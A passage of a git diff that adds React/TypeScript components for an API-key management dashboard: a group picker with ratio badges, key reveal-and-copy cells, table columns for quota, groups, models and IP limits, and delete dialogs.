+
+export type ApiKeyGroupOption = {
+  value: string
+  label: string
+  desc?: string
+  ratio?: number | string
+}
+
+type ApiKeyGroupComboboxProps = {
+  options: ApiKeyGroupOption[]
+  value?: string
+  onValueChange: (value: string) => void
+  placeholder?: string
+  disabled?: boolean
+}
+
+function formatGroupRatio(ratio: ApiKeyGroupOption['ratio'], ratioLabel: string) {
+  if (ratio === undefined || ratio === null || ratio === '') return null
+  return `${ratio}x ${ratioLabel}`
+}
+
+function getRatioBadgeClassName(ratio: ApiKeyGroupOption['ratio']) {
+  if (typeof ratio !== 'number') {
+    return 'border-emerald-200 bg-emerald-50 text-emerald-700 dark:border-emerald-900/60 dark:bg-emerald-950/40 dark:text-emerald-300'
+  }
+
+  if (ratio > 5) {
+    return 'border-rose-200 bg-rose-50 text-rose-700 dark:border-rose-900/60 dark:bg-rose-950/40 dark:text-rose-300'
+  }
+  if (ratio > 3) {
+    return 'border-orange-200 bg-orange-50 text-orange-700 dark:border-orange-900/60 dark:bg-orange-950/40 dark:text-orange-300'
+  }
+  if (ratio > 1) {
+    return 'border-blue-200 bg-blue-50 text-blue-700 dark:border-blue-900/60 dark:bg-blue-950/40 dark:text-blue-300'
+  }
+  return 'border-emerald-200 bg-emerald-50 text-emerald-700 dark:border-emerald-900/60 dark:bg-emerald-950/40 dark:text-emerald-300'
+}
+
+function GroupRatioBadge({ ratio }: { ratio: ApiKeyGroupOption['ratio'] }) {
+  const { t } = useTranslation()
+  const label = formatGroupRatio(ratio, t('Ratio'))
+
+  if (!label) return null
+
+  return (
+    <Badge variant='outline' className={getRatioBadgeClassName(ratio)}>
+      {label}
+    </Badge>
+  )
+}
+
+export function ApiKeyGroupCombobox({
+  options,
+  value,
+  onValueChange,
+  placeholder,
+  disabled,
+}: ApiKeyGroupComboboxProps) {
+  const { t } = useTranslation()
+  const [open, setOpen] = useState(false)
+  const [searchValue, setSearchValue] = useState('')
+  const selectedOption = options.find((option) => option.value === value)
+
+  const filteredOptions = useMemo(() => {
+    const search = searchValue.trim().toLowerCase()
+    if (!search) return options
+
+    return options.filter((option) => {
+      const ratioText = String(option.ratio ?? '').toLowerCase()
+      return (
+        option.value.toLowerCase().includes(search) ||
+        option.label.toLowerCase().includes(search) ||
+        option.desc?.toLowerCase().includes(search) ||
+        ratioText.includes(search)
+      )
+    })
+  }, [options, searchValue])
+
+  const handleSelect = (selectedValue: string) => {
+    onValueChange(selectedValue)
+    setOpen(false)
+    setSearchValue('')
+  }
+
+  return (
+    <Popover open={open} onOpenChange={setOpen}>
+      <PopoverTrigger asChild>
+        <Button
+          type='button'
+          variant='outline'
+          role='combobox'
+          aria-expanded={open}
+          disabled={disabled}
+          className='border-input bg-muted/40 h-auto min-h-20 w-full justify-between gap-3 rounded-lg px-4 py-3 text-start shadow-none transition-[background-color,border-color,box-shadow] duration-150 hover:bg-muted/55 hover:text-foreground active:bg-background data-[state=open]:border-ring data-[state=open]:bg-background data-[state=open]:ring-ring/20 data-[state=open]:ring-[3px]'
+        >
+          <span className='flex min-w-0 flex-1 items-center justify-between gap-3'>
+            <span className='min-w-0'>
+              <span className='block truncate font-medium'>
+                {selectedOption?.value || placeholder || t('Select a group')}
+              </span>
+              {selectedOption?.desc && (
+                <span className='text-muted-foreground block truncate text-xs'>
+                  {selectedOption.desc}
+                </span>
+              )}
+            </span>
+            <GroupRatioBadge ratio={selectedOption?.ratio} />
+          </span>
+          <ChevronsUpDown className='h-4 w-4 shrink-0 opacity-50' />
+        </Button>
+      </PopoverTrigger>
+      <PopoverContent className='data-[state=closed]:zoom-out-100 data-[state=open]:zoom-in-100 data-[side=bottom]:slide-in-from-top-0 data-[side=left]:slide-in-from-right-0 data-[side=right]:slide-in-from-left-0 data-[side=top]:slide-in-from-bottom-0 w-[var(--radix-popover-trigger-width)] overflow-hidden rounded-xl p-0 shadow-lg data-[state=closed]:duration-75 data-[state=open]:duration-100'>
+        <Command shouldFilter={false}>
+          <CommandInput
+            placeholder={t('Search...')}
+            value={searchValue}
+            onValueChange={setSearchValue}
+          />
+          <CommandList className='max-h-[360px]'>
+            <CommandEmpty>{t('No group found.')}</CommandEmpty>
+            <CommandGroup>
+              {filteredOptions.map((option) => (
+                <CommandItem
+                  key={option.value}
+                  value={option.value}
+                  onSelect={handleSelect}
+                  className='items-start gap-3 rounded-lg px-3 py-3 transition-colors data-[selected=true]:bg-muted'
+                >
+                  <Check
+                    className={cn(
+                      'mt-0.5 h-4 w-4',
+                      value === option.value ? 'opacity-100' : 'opacity-0'
+                    )}
+                  />
+                  <span className='min-w-0 flex-1'>
+                    <span className='block truncate font-medium'>
+                      {option.value}
+                    </span>
+                    {option.desc && (
+                      <span className='text-muted-foreground block truncate text-xs'>
+                        {option.desc}
+                      </span>
+                    )}
+                  </span>
+                  <GroupRatioBadge ratio={option.ratio} />
+                </CommandItem>
+              ))}
+            </CommandGroup>
+          </CommandList>
+        </Command>
+      </PopoverContent>
+    </Popover>
+  )
+}
diff --git a/new-api/web/default/src/features/keys/components/api-keys-cells.tsx b/new-api/web/default/src/features/keys/components/api-keys-cells.tsx
new file mode 100644
index 0000000..3fb5739
--- /dev/null
+++ b/new-api/web/default/src/features/keys/components/api-keys-cells.tsx
@@ -0,0 +1,197 @@
+import { useState, useCallback } from 'react'
+import { Check, Copy, Loader2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { copyToClipboard } from '@/lib/copy-to-clipboard'
+import { Button } from '@/components/ui/button'
+import {
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+} from '@/components/ui/popover'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+import { StatusBadge } from '@/components/status-badge'
+import { type ApiKey } from '../types'
+import { useApiKeys } from './api-keys-provider'
+
+export function ApiKeyCell({ apiKey }: { apiKey: ApiKey }) {
+  const { t } = useTranslation()
+  const {
+    resolveRealKey,
+    resolvedKeys,
+    loadingKeys,
+    copiedKeyId,
+    markKeyCopied,
+  } = useApiKeys()
+  const [popoverOpen, setPopoverOpen] = useState(false)
+
+  const isLoading = !!loadingKeys[apiKey.id]
+  const resolvedFullKey = resolvedKeys[apiKey.id]
+  const isCopied = copiedKeyId === apiKey.id
+  const maskedKey = `sk-${apiKey.key}`
+
+  const handlePopoverOpen = useCallback(
+    (open: boolean) => {
+      setPopoverOpen(open)
+      if (open && !resolvedFullKey) {
+        resolveRealKey(apiKey.id)
+      }
+    },
+    [resolvedFullKey, resolveRealKey, apiKey.id]
+  )
+
+  const handleCopy = useCallback(async () => {
+    const realKey = resolvedFullKey || (await resolveRealKey(apiKey.id))
+    if (realKey) {
+      const ok = await copyToClipboard(realKey)
+      if (ok) markKeyCopied(apiKey.id)
+    }
+  }, [resolvedFullKey, resolveRealKey, apiKey.id, markKeyCopied])
+
+  return (
+    <div className='flex items-center'>
+      <Popover open={popoverOpen} onOpenChange={handlePopoverOpen}>
+        <PopoverTrigger asChild>
+          <Button
+            variant='ghost'
+            size='sm'
+            className='text-muted-foreground h-7 font-mono text-xs'
+          >
+            {maskedKey}
+          </Button>
+        </PopoverTrigger>
+        <PopoverContent
+          className='w-auto max-w-[min(90vw,28rem)]'
+          align='start'
+        >
+          <div className='space-y-2'>
+            <p className='text-muted-foreground text-xs'>{t('Full API Key')}</p>
+            {isLoading ? (
+              <div className='flex items-center gap-2 py-2'>
+                <Loader2 className='size-3.5 animate-spin' />
+                <span className='text-muted-foreground text-xs'>
+                  {t('Loading...')}
+                </span>
+              </div>
+            ) : (
+              <input
+                readOnly
+                value={resolvedFullKey || maskedKey}
+                autoFocus
+                onFocus={(e) => e.target.select()}
+                className='bg-muted/50 w-full min-w-[280px] rounded-md border px-3 py-2 font-mono text-xs outline-none'
+              />
+            )}
+          </div>
+        </PopoverContent>
+      </Popover>
+      <Tooltip>
+        <TooltipTrigger asChild>
+          <Button
+            variant='ghost'
+            size='icon'
+            className='size-7 shrink-0'
+            onClick={handleCopy}
+            disabled={isLoading}
+          >
+            {isLoading ? (
+              <Loader2 className='size-3.5 animate-spin' />
+            ) : isCopied ? (
+              <Check className='size-3.5 text-green-600' />
+            ) : (
+              <Copy className='size-3.5' />
+            )}
+          </Button>
+        </TooltipTrigger>
+        <TooltipContent>
+          {isLoading
+            ? t('Loading...')
+            : isCopied
+              ? t('Copied!')
+              : t('Copy API key')}
+        </TooltipContent>
+      </Tooltip>
+    </div>
+  )
+}
+
+export function ModelLimitsCell({ apiKey }: { apiKey: ApiKey }) {
+  const { t } = useTranslation()
+
+  if (!apiKey.model_limits_enabled || !apiKey.model_limits) {
+    return (
+      <StatusBadge label={t('Unlimited')} variant='neutral' copyable={false} />
+    )
+  }
+
+  const models = apiKey.model_limits.split(',').filter(Boolean)
+
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <span>
+          <StatusBadge
+            label={t('{{count}} model(s)', { count: models.length })}
+            variant='neutral'
+            copyable={false}
+          />
+        </span>
+      </TooltipTrigger>
+      <TooltipContent side='top' className='max-w-xs'>
+        <div className='max-h-[200px] space-y-0.5 overflow-y-auto text-xs'>
+          {models.map((m) => (
+            <div key={m} className='font-mono'>
+              {m}
+            </div>
+          ))}
+        </div>
+      </TooltipContent>
+    </Tooltip>
+  )
+}
+
+export function IpRestrictionsCell({ apiKey }: { apiKey: ApiKey }) {
+  const { t } = useTranslation()
+  const allowIps = apiKey.allow_ips?.trim()
+
+  if (!allowIps) {
+    return (
+      <StatusBadge
+        label={t('No restriction')}
+        variant='neutral'
+        copyable={false}
+      />
+    )
+  }
+
+  const ips = allowIps
+    .split('\n')
+    .map((ip) => ip.trim())
+    .filter(Boolean)
+
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <span>
+          <StatusBadge
+            label={t('{{count}} IP(s)', { count: ips.length })}
+            variant='neutral'
+            copyable={false}
+          />
+        </span>
+      </TooltipTrigger>
+      <TooltipContent side='top' className='max-w-xs'>
+        <div className='max-h-[200px] space-y-0.5 overflow-y-auto text-xs'>
+          {ips.map((ip) => (
+            <div key={ip} className='font-mono'>
+              {ip}
+            </div>
+          ))}
+        </div>
+      </TooltipContent>
+    </Tooltip>
+  )
+}
diff --git a/new-api/web/default/src/features/keys/components/api-keys-columns.tsx b/new-api/web/default/src/features/keys/components/api-keys-columns.tsx
new file mode 100644
index 0000000..e06ae15
--- /dev/null
+++ b/new-api/web/default/src/features/keys/components/api-keys-columns.tsx
@@ -0,0 +1,359 @@
+import { useMemo } from 'react'
+import { useQuery } from '@tanstack/react-query'
+import { type ColumnDef } from '@tanstack/react-table'
+import { useTranslation } from 'react-i18next'
+import { useAuthStore } from '@/stores/auth-store'
+import { getUserGroups } from '@/lib/api'
+import { formatQuota, formatTimestampToDate } from '@/lib/format'
+import { cn } from '@/lib/utils'
+import { Checkbox } from '@/components/ui/checkbox'
+import { Progress } from '@/components/ui/progress'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+import { DataTableColumnHeader } from '@/components/data-table'
+import { StatusBadge } from '@/components/status-badge'
+import { getSystemOptions } from '@/features/system-settings/api'
+import { API_KEY_STATUSES } from '../constants'
+import { type ApiKey } from '../types'
+import {
+  ApiKeyCell,
+  ModelLimitsCell,
+  IpRestrictionsCell,
+} from './api-keys-cells'
+import { DataTableRowActions } from './data-table-row-actions'
+
+function getQuotaProgressColor(percentage: number): string {
+  if (percentage <= 10) return '[&_[data-slot=progress-indicator]]:bg-rose-500'
+  if (percentage <= 30) return '[&_[data-slot=progress-indicator]]:bg-amber-500'
+  return '[&_[data-slot=progress-indicator]]:bg-emerald-500'
+}
+
+function getGroupRatioClassName(ratio: number): string {
+  if (ratio > 1) {
+    return 'border-amber-200 bg-amber-50 text-amber-700 dark:border-amber-900/60 dark:bg-amber-950/40 dark:text-amber-300'
+  }
+  if (ratio < 1) {
+    return 'border-sky-200 bg-sky-50 text-sky-700 dark:border-sky-900/60 dark:bg-sky-950/40 dark:text-sky-300'
+  }
+  return 'border-border bg-muted text-muted-foreground'
+}
+
+function useGroupRatios(): Record<string, number> {
+  const isAdmin = useAuthStore((s) =>
+    Boolean(s.auth.user?.role && s.auth.user.role >= 10)
+  )
+
+  const { data: adminData } = useQuery({
+    queryKey: ['system-options-group-ratio'],
+    queryFn: getSystemOptions,
+    enabled: isAdmin,
+    staleTime: 5 * 60 * 1000,
+    select: (res) => {
+      if (!res.success || !res.data) return {}
+      const option = res.data.find((o) => o.key === 'GroupRatio')
+      if (!option?.value) return {}
+      try {
+        return JSON.parse(option.value) as Record<string, number>
+      } catch {
+        return {}
+      }
+    },
+  })
+
+  const { data: userGroupsData } = useQuery({
+    queryKey: ['user-self-groups'],
+    queryFn: getUserGroups,
+    enabled: !isAdmin,
+    staleTime: 5 * 60 * 1000,
+    select: (res) => {
+      if (!res.success || !res.data) return {}
+      const ratios: Record<string, number> = {}
+      for (const [group, info] of Object.entries(res.data)) {
+        if (typeof info.ratio === 'number') {
+          ratios[group] = info.ratio
+        }
+      }
+      return ratios
+    },
+  })
+
+  return useMemo(
+    () => (isAdmin ? adminData : userGroupsData) ?? {},
+    [isAdmin, adminData, userGroupsData]
+  )
+}
+
+export function useApiKeysColumns(): ColumnDef<ApiKey>[] {
+  const { t } = useTranslation()
+  const groupRatios = useGroupRatios()
+  return [
+    {
+      id: 'select',
+      header: ({ table }) => (
+        <Checkbox
+          checked={
+            table.getIsAllPageRowsSelected() ||
+            (table.getIsSomePageRowsSelected() && 'indeterminate')
+          }
+          onCheckedChange={(value) => table.toggleAllPageRowsSelected(!!value)}
+          aria-label='Select all'
+          className='translate-y-[2px]'
+        />
+      ),
+      cell: ({ row }) => (
+        <Checkbox
+          checked={row.getIsSelected()}
+          onCheckedChange={(value) => row.toggleSelected(!!value)}
+          aria-label='Select row'
+          className='translate-y-[2px]'
+        />
+      ),
+      enableSorting: false,
+      enableHiding: false,
+      meta: { label: t('Select') },
+    },
+    {
+      accessorKey: 'name',
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Name')} />
+      ),
+      cell: ({ row }) => (
+        <div className='max-w-[200px] truncate font-medium'>
+          {row.getValue('name')}
+        </div>
+      ),
+      meta: { label: t('Name'), mobileTitle: true },
+    },
+    {
+      accessorKey: 'status',
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Status')} />
+      ),
+      cell: ({ row }) => {
+        const statusConfig = API_KEY_STATUSES[row.getValue('status') as number]
+        if (!statusConfig) return null
+        return (
+          <StatusBadge
+            label={t(statusConfig.label)}
+            variant={statusConfig.variant}
+            showDot={statusConfig.showDot}
+            copyable={false}
+          />
+        )
+      },
+      filterFn: (row, id, value) => value.includes(String(row.getValue(id))),
+      meta: { label: t('Status'), mobileBadge: true },
+    },
+    {
+      id: 'key',
+      accessorKey: 'key',
+      header: t('API Key'),
+      cell: ({ row }) => <ApiKeyCell apiKey={row.original} />,
+      enableSorting: false,
+      meta: { label: t('API Key') },
+    },
+    {
+      id: 'quota',
+      accessorKey: 'remain_quota',
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Quota')} />
+      ),
+      cell: ({ row }) => {
+        const apiKey = row.original
+        if (apiKey.unlimited_quota) {
+          return (
+            <StatusBadge
+              label={t('Unlimited')}
+              variant='neutral'
+              copyable={false}
+            />
+          )
+        }
+
+        const used = apiKey.used_quota
+        const remaining = apiKey.remain_quota
+        const total = used + remaining
+        const percentage = total > 0 ? (remaining / total) * 100 : 0
+
+        return (
+          <Tooltip>
+            <TooltipTrigger asChild>
+              <div className='w-[150px] space-y-1'>
+                <div className='flex justify-between text-xs'>
+                  <span className='font-medium tabular-nums'>
+                    {formatQuota(remaining)}
+                  </span>
+                  <span className='text-muted-foreground tabular-nums'>
+                    {formatQuota(total)}
+                  </span>
+                </div>
+                <Progress
+                  value={percentage}
+                  className={cn('h-1.5', getQuotaProgressColor(percentage))}
+                />
+              </div>
+            </TooltipTrigger>
+            <TooltipContent>
+              <div className='space-y-1 text-xs'>
+                <div>
+                  {t('Used:')} {formatQuota(used)}
+                </div>
+                <div>
+                  {t('Remaining:')} {formatQuota(remaining)} (
+                  {percentage.toFixed(1)}%)
+                </div>
+                <div>
+                  {t('Total:')} {formatQuota(total)}
+                </div>
+              </div>
+            </TooltipContent>
+          </Tooltip>
+        )
+      },
+      meta: { label: t('Quota') },
+    },
+    {
+      accessorKey: 'group',
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Group')} />
+      ),
+      cell: ({ row }) => {
+        const apiKey = row.original
+        const group = row.getValue('group') as string
+        const ratio = group && group !== 'auto' ? groupRatios[group] : undefined
+
+        if (group === 'auto') {
+          return (
+            <Tooltip>
+              <TooltipTrigger asChild>
+                <span className='inline-flex items-center gap-1.5 text-xs'>
+                  <span className='text-muted-foreground'>{t('Auto')}</span>
+                  {apiKey.cross_group_retry && (
+                    <>
+                      <span className='text-muted-foreground/30'>·</span>
+                      <span className='text-muted-foreground/60'>
+                        {t('Cross-group')}
+                      </span>
+                    </>
+                  )}
+                </span>
+              </TooltipTrigger>
+              <TooltipContent>
+                <span className='text-xs'>
+                  {t(
+                    'Automatically selects the best available group with circuit breaker mechanism'
+                  )}
+                </span>
+              </TooltipContent>
+            </Tooltip>
+          )
+        }
+        return (
+          <span className='inline-flex items-center gap-2 text-xs'>
+            <span className='font-medium'>{group || t('Default')}</span>
+            {ratio != null && (
+              <span
+                className={cn(
+                  'inline-flex items-center gap-1 rounded-md border px-1.5 py-0.5 font-mono text-[11px] leading-none tabular-nums',
+                  getGroupRatioClassName(ratio)
+                )}
+              >
+                <span className='size-1 rounded-full bg-current opacity-60' />
+                <span>{ratio}x</span>
+              </span>
+            )}
+          </span>
+        )
+      },
+      meta: { label: t('Group'), mobileHidden: true },
+    },
+    {
+      id: 'model_limits',
+      accessorKey: 'model_limits',
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Models')} />
+      ),
+      cell: ({ row }) => <ModelLimitsCell apiKey={row.original} />,
+      enableSorting: false,
+      meta: { label: t('Models'), mobileHidden: true },
+    },
+    {
+      id: 'allow_ips',
+      accessorKey: 'allow_ips',
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('IP Restriction')} />
+      ),
+      cell: ({ row }) => <IpRestrictionsCell apiKey={row.original} />,
+      enableSorting: false,
+      meta: { label: t('IP Restriction'), mobileHidden: true },
+    },
+    {
+      accessorKey: 'created_time',
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Created')} />
+      ),
+      cell: ({ row }) => (
+        <span className='text-muted-foreground font-mono text-xs tabular-nums'>
+          {formatTimestampToDate(row.getValue('created_time'))}
+        </span>
+      ),
+      meta: { label: t('Created'), mobileHidden: true },
+    },
+    {
+      accessorKey: 'accessed_time',
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Last Used')} />
+      ),
+      cell: ({ row }) => {
+        const accessedTime = row.getValue('accessed_time') as number
+        if (!accessedTime) {
+          return <span className='text-muted-foreground text-xs'>-</span>
+        }
+        return (
+          <span className='text-muted-foreground font-mono text-xs tabular-nums'>
+            {formatTimestampToDate(accessedTime)}
+          </span>
+        )
+      },
+      meta: { label: t('Last Used'), mobileHidden: true },
+    },
+    {
+      accessorKey: 'expired_time',
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Expires')} />
+      ),
+      cell: ({ row }) => {
+        const expiredTime = row.getValue('expired_time') as number
+        if (expiredTime === -1) {
+          return (
+            <StatusBadge
+              label={t('Never')}
+              variant='neutral'
+              copyable={false}
+            />
+          )
+        }
+        const isExpired = expiredTime * 1000 < Date.now()
+        return (
+          <span
+            className={cn(
+              'font-mono text-xs tabular-nums',
+              isExpired ? 'text-destructive' : 'text-muted-foreground'
+            )}
+          >
+            {formatTimestampToDate(expiredTime)}
+          </span>
+        )
+      },
+      meta: { label: t('Expires'), mobileHidden: true },
+    },
+    {
+      id: 'actions',
+      cell: ({ row }) => <DataTableRowActions row={row} />,
+      meta: { label: t('Actions') },
+    },
+  ]
+}
diff --git a/new-api/web/default/src/features/keys/components/api-keys-delete-dialog.tsx b/new-api/web/default/src/features/keys/components/api-keys-delete-dialog.tsx
new file mode 100644
index 0000000..addc920
--- /dev/null
+++ b/new-api/web/default/src/features/keys/components/api-keys-delete-dialog.tsx
@@ -0,0 +1,72 @@
+import { useState } from 'react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from '@/components/ui/alert-dialog'
+import { deleteApiKey } from '../api'
+import { ERROR_MESSAGES, SUCCESS_MESSAGES } from '../constants'
+import { useApiKeys } from './api-keys-provider'
+
+export function ApiKeysDeleteDialog() {
+  const { t } = useTranslation()
+  const { open, setOpen, currentRow, triggerRefresh } = useApiKeys()
+  const [isDeleting, setIsDeleting] = useState(false)
+
+  const handleDelete = async () => {
+    if (!currentRow) return
+
+    setIsDeleting(true)
+    try {
+      const result = await deleteApiKey(currentRow.id)
+      if (result.success) {
+        toast.success(t(SUCCESS_MESSAGES.API_KEY_DELETED))
+        setOpen(null)
+        triggerRefresh()
+      } else {
+        toast.error(result.message || t(ERROR_MESSAGES.DELETE_FAILED))
+      }
+    } catch (_error) {
+      toast.error(t(ERROR_MESSAGES.UNEXPECTED))
+    } finally {
+      setIsDeleting(false)
+    }
+  }
+
+  return (
+    <AlertDialog
+      open={open === 'delete'}
+      onOpenChange={(open) => !open && setOpen(null)}
+    >
+      <AlertDialogContent>
+        <AlertDialogHeader>
+          <AlertDialogTitle>{t('Are you sure?')}</AlertDialogTitle>
+          <AlertDialogDescription>
+            {t('This will permanently delete API key')}{' '}
+            <span className='font-semibold'>{currentRow?.name}</span>
+            {t('. This action cannot be undone.')}
+          </AlertDialogDescription>
+        </AlertDialogHeader>
+        <AlertDialogFooter>
+          <AlertDialogCancel disabled={isDeleting}>
+            {t('Cancel')}
+          </AlertDialogCancel>
+          <AlertDialogAction
+            onClick={handleDelete}
+            disabled={isDeleting}
+            className='bg-destructive text-destructive-foreground hover:bg-destructive/90'
+          >
+            {isDeleting ? t('Deleting...') : t('Delete')}
+          </AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  )
+}
diff --git a/new-api/web/default/src/features/keys/components/api-keys-dialogs.tsx b/new-api/web/default/src/features/keys/components/api-keys-dialogs.tsx
new file mode 100644
index 0000000..e6f3b7c
--- /dev/null
+++ b/new-api/web/default/src/features/keys/components/api-keys-dialogs.tsx
@@ -0,0 +1,39 @@
+import { useEffect, useState } from 'react'
+import { ApiKeysDeleteDialog } from './api-keys-delete-dialog'
+import { ApiKeysMutateDrawer } from './api-keys-mutate-drawer'
+import { useApiKeys } from './api-keys-provider'
+import { CCSwitchDialog } from './dialogs/cc-switch-dialog'
+
+export function ApiKeysDialogs() {
+  const { open, setOpen, currentRow, resolvedKey } = useApiKeys()
+  const [lastMutateSide, setLastMutateSide] = useState<'left' | 'right'>(
+    'right'
+  )
+  const mutateSide =
+    open === 'create' ? 'left' : open === 'update' ? 'right' : lastMutateSide
+
+  useEffect(() => {
+    if (open === 'create') {
+      setLastMutateSide('left')
+    } else if (open === 'update') {
+      setLastMutateSide('right')
+    }
+  }, [open])
+
+  return (
+    <>
+      <ApiKeysMutateDrawer
+        open={open === 'create' || open === 'update'}
+        onOpenChange={(isOpen) => !isOpen && setOpen(null)}
+        currentRow={open === 'update' ? currentRow || undefined : undefined}
+        side={mutateSide}
+      />
+      <ApiKeysDeleteDialog />
+      <CCSwitchDialog
+        open={open === 'cc-switch'}
+        onOpenChange={(isOpen) => !isOpen && setOpen(null)}
+        tokenKey={resolvedKey}
+      />
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/keys/components/api-keys-multi-delete-dialog.tsx b/new-api/web/default/src/features/keys/components/api-keys-multi-delete-dialog.tsx
new file mode 100644
index 0000000..3738a8b
--- /dev/null
+++ b/new-api/web/default/src/features/keys/components/api-keys-multi-delete-dialog.tsx
@@ -0,0 +1,70 @@
+import { useState } from 'react'
+import { type Table } from '@tanstack/react-table'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { ConfirmDialog } from '@/components/confirm-dialog'
+import { batchDeleteApiKeys } from '../api'
+import { ERROR_MESSAGES } from '../constants'
+import { type ApiKey } from '../types'
+import { useApiKeys } from './api-keys-provider'
+
+type ApiKeysMultiDeleteDialogProps<TData> = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  table: Table<TData>
+}
+
+export function ApiKeysMultiDeleteDialog<TData>({
+  open,
+  onOpenChange,
+  table,
+}: ApiKeysMultiDeleteDialogProps<TData>) {
+  const { t } = useTranslation()
+  const { triggerRefresh } = useApiKeys()
+  const [isDeleting, setIsDeleting] = useState(false)
+  const selectedRows = table.getFilteredSelectedRowModel().rows
+
+  const handleConfirm = async () => {
+    setIsDeleting(true)
+    try {
+      const ids = selectedRows.map((row) => (row.original as ApiKey).id)
+      const result = await batchDeleteApiKeys(ids)
+
+      if (result.success) {
+        const count = result.data || ids.length
+        toast.success(t('Successfully deleted {{count}} API key(s)', { count }))
+        table.resetRowSelection()
+        triggerRefresh()
+        onOpenChange(false)
+      } else {
+        toast.error(result.message || t(ERROR_MESSAGES.BATCH_DELETE_FAILED))
+      }
+    } catch (_error) {
+      toast.error(t(ERROR_MESSAGES.UNEXPECTED))
+    } finally {
+      setIsDeleting(false)
+    }
+  }
+
+  return (
+    <ConfirmDialog
+      destructive
+      open={open}
+      onOpenChange={onOpenChange}
+      handleConfirm={handleConfirm}
+      isLoading={isDeleting}
+      className='max-w-md'
+      title={t('Delete {{count}} API key(s)?', { count: selectedRows.length })}
+      desc={
+        <>
+          {t('You are about to delete {{count}} API key(s).', {
+            count: selectedRows.length,
+          })}{' '}
+          <br />
+          {t('This action cannot be undone.')}
+        </>
+      }
+      confirmText={t('Delete')}
+    />
+  )
+}
diff --git a/new-api/web/default/src/features/keys/components/api-keys-mutate-drawer.tsx b/new-api/web/default/src/features/keys/components/api-keys-mutate-drawer.tsx
new file mode 100644
index 0000000..c78bdac
--- /dev/null
+++ b/new-api/web/default/src/features/keys/components/api-keys-mutate-drawer.tsx
@@ -0,0 +1,589 @@
+import { useEffect, useState, type ReactNode } from 'react'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useQuery } from '@tanstack/react-query'
+import {
+  ChevronDown,
+  KeyRound,
+  Settings2,
+  WalletCards,
+  type LucideIcon,
+} from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { getUserModels, getUserGroups } from '@/lib/api'
+import { getCurrencyDisplay, getCurrencyLabel } from '@/lib/currency'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import {
+  Sheet,
+  SheetClose,
+  SheetContent,
+  SheetDescription,
+  SheetFooter,
+  SheetHeader,
+  SheetTitle,
+} from '@/components/ui/sheet'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { DateTimePicker } from '@/components/datetime-picker'
+import { MultiSelect } from '@/components/multi-select'
+import { createApiKey, updateApiKey, getApiKey } from '../api'
+import { ERROR_MESSAGES, SUCCESS_MESSAGES } from '../constants'
+import {
+  apiKeyFormSchema,
+  type ApiKeyFormValues,
+  API_KEY_FORM_DEFAULT_VALUES,
+  transformFormDataToPayload,
+  transformApiKeyToFormDefaults,
+} from '../lib'
+import { type ApiKey } from '../types'
+import {
+  ApiKeyGroupCombobox,
+  type ApiKeyGroupOption,
+} from './api-key-group-combobox'
+import { useApiKeys } from './api-keys-provider'
+
+type ApiKeyMutateDrawerProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  currentRow?: ApiKey
+  side?: 'left' | 'right'
+}
+
+type ApiKeyFormSectionProps = {
+  title: string
+  description: string
+  icon: LucideIcon
+  children: ReactNode
+}
+
+function ApiKeyFormSection(props: ApiKeyFormSectionProps) {
+  const Icon = props.icon
+
+  return (
+    <section className='bg-card rounded-lg border'>
+      <div className='flex items-center gap-3 border-b px-4 py-3'>
+        <div className='bg-muted text-muted-foreground flex size-10 shrink-0 items-center justify-center rounded-lg border'>
+          <Icon className='size-5' />
+        </div>
+        <div className='min-w-0'>
+          <h3 className='text-sm font-medium leading-none'>{props.title}</h3>
+          <p className='text-muted-foreground mt-1 text-xs'>
+            {props.description}
+          </p>
+        </div>
+      </div>
+      <div className='space-y-4 p-4'>{props.children}</div>
+    </section>
+  )
+}
+
+export function ApiKeysMutateDrawer({
+  open,
+  onOpenChange,
+  currentRow,
+  side = 'right',
+}: ApiKeyMutateDrawerProps) {
+  const { t } = useTranslation()
+  const isUpdate = !!currentRow
+  const { triggerRefresh } = useApiKeys()
+  const [isSubmitting, setIsSubmitting] = useState(false)
+  const [advancedOpen, setAdvancedOpen] = useState(false)
+
+  // Fetch models
+  const { data: modelsData } = useQuery({
+    queryKey: ['user-models'],
+    queryFn: getUserModels,
+    staleTime: 5 * 60 * 1000, // Cache for 5 minutes
+  })
+
+  // Fetch groups
+  const { data: groupsData } = useQuery({
+    queryKey: ['user-groups'],
+    queryFn: getUserGroups,
+    staleTime: 5 * 60 * 1000,
+  })
+
